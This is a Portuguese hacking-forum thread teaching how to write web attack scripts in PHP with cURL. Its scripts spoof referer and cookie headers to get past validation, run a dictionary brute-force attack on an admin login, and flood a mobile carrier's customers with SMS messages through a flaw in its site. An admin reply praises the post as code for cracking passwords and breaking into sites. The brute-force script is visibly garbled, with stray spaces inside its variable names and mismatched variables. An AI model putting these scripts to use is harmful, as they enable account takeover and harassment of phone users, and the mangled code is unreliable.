Escrevendo exploits com cURL em PHP

Post Reply
User avatar
Plastyne
Staff
Posts: 12
Joined: Sat Nov 17, 2018 7:46 pm
x 11
x 12

Escrevendo exploits com cURL em PHP

Post by Plastyne » Thu Nov 22, 2018 11:35 am

Depois de encontrar uma vulnerabilidade e explorá-la manualmente, vem a pergunta: como eu automatizo o ataque? No que diz respeito à web, poderíamos precisar de um script que inicie um ataque de força bruta com determinados campos POST que vão além do usuário e da senha, ou talvez o ataque precise repetir o número X vezes de uma solicitação ou executar ações diferentes dependendo da resposta que você recebe do servidor ... ou trabalhar em HTTPS e um longo etcetera.

Podemos cotar um script em python? sim, nós podemos ... mas há também uma outra alternativa que eu particularmente gosto e permite resolver as situações anteriores (e muito mais) com grande rapidez e em poucas linhas de código: a biblioteca cURL com PHP.

Aqui está um exemplo básico de uma conexão com cURL onde mostramos a resposta do servidor web na tela:

Code: Select all

<?php
    $url = "http://thecybers.org";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    print curl_exec($ch);
    curl_close($ch);
?>
Vamos ver como a esta conexão podemos adicionar um referenciador e um cookie, o que poderia ser útil para pular alguma validação através do referenciador e dizer ao aplicativo que somos um determinado usuário ou ter uma sessão válida:

Code: Select all

<?php
    $url = "http://thecybers.org/admin";
    $referer = "http://thecybers.org/";
    $cookie = "cookie=valor";
 
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_REFERER, $referer);
    curl_setopt($ch, CURLOPT_COOKIE, $cookie);
 
    print curl_exec($ch);
    curl_close($ch);
?>
Vamos ver como automatizar um ataque de dicionário com cURL (podemos ver como adicionar campos para enviar via POST):

Code: Select all

<? php
    $ url = "http://thecybers.org/admin";
    $ referer = "http://thecybers.org";
    $ cookie = "cookie = value";
 
    $ user = "admin";
    $ dictionary = file_get_contents ("dictionary.txt");
    $ words = explode ("\ n", $ dictionary);
 
    foreach ($ words as $ key) {
 
        $ POST = "user =". $ User. "& Pass =". $ Password. "& Another field = tehackeo & ...";
 
        $ ch = curl_init ();
        curl_setopt ($ ch, CURLOPT_URL, $ url);
        curl_setopt ($ ch, CURLOPT_REFERER, $ referer);
        curl_setopt ($ ch, CURLOPT_COOKIE, $ cookie);
        curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ POST);
 
     / * Line para armazenar a resposta em uma variável e processá-la * /
        curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true);
 
     / * Se o login for pelo HTTPS também adicione a seguinte linha: * /
        curl_setopt ($ ch, CURLOPT_SSL_VERIFYPEER, false);
 
        $ answer = curl_exec ($ ch);
 
        if (preg_match ("/ Error /", $ answer)) {// Invalid login
            print "Testing user: $ key user: $ key ---> FALL ?";
        } else {
            print "Testing user: $ key user: $ key ---> FOUND!";
            exit ();
        }
        curl_close ($ ch);
    }
?>
Além de mostrar o envio de campos pelo POST, no script acima podemos observar como armazenar a resposta da conexão para procurar determinada string nela e agir de acordo. Nesse caso, procuramos apenas uma string de erro para verificar se a atingimos com a chave ou não, mas, por exemplo, em algumas explorações que eu programou onde era necessário executar algumas etapas antes de explorar a falha no aplicativo vulnerável, Tem sido útil capturar e analisar a resposta para que você possa determinar como continuar e, assim, executar todo o procedimento corretamente.

Por outro lado, nos casos em que o HTTPS é usado, teremos que adicionar a linha: curl_setopt ($ ch, CURLOPT_SSL_VERIFYPEER, false);

Para concluir, deixo como exemplo um pequeno exploit que aproveita uma falha encontrada no site de uma empresa de telefonia móvel que permite um Flood SMS para seus clientes:

Code: Select all

<?php 
    set_time_limit(0);
 
    $area = $_GET["area"];
    $numero  = $_GET["numero"];
    $cantidad_sms = $_GET["cantidad"];
 
    $url = "https://vulnerable.com/xyz.aspx";
    $referer = "https://vulnerable.com/xyz.aspx";
 
    $post = "CodigoArea=".$area."&NumeroCelular=".$numero."&Siguiente=Continuar";
    $cookie = "cookie=valor";
 
    for($f=1;$f<=$cantidad_sms;$f++){
 
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
        curl_setopt($ch, CURLOPT_REFERER, $referer);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_exec($ch);
        curl_close($ch);
    }
?>
2 x
O que você sabe não tem valor, o valor está no que você faz com o que sabe.

- Bruce Lee

User avatar
admin
CEO
Posts: 57
Joined: Sun Oct 22, 2017 10:00 pm
x 43
x 29

Re: Escrevendo exploits com cURL em PHP

Post by admin » Fri Nov 23, 2018 12:30 am

Ótimo post!
Bem explicado e com códigos pra galera aprender a criar seu exploit pra quebrar senhas e invadir um site, só não vai hackea a porra do fórum viu crianças!
=D
0 x
Image

Post Reply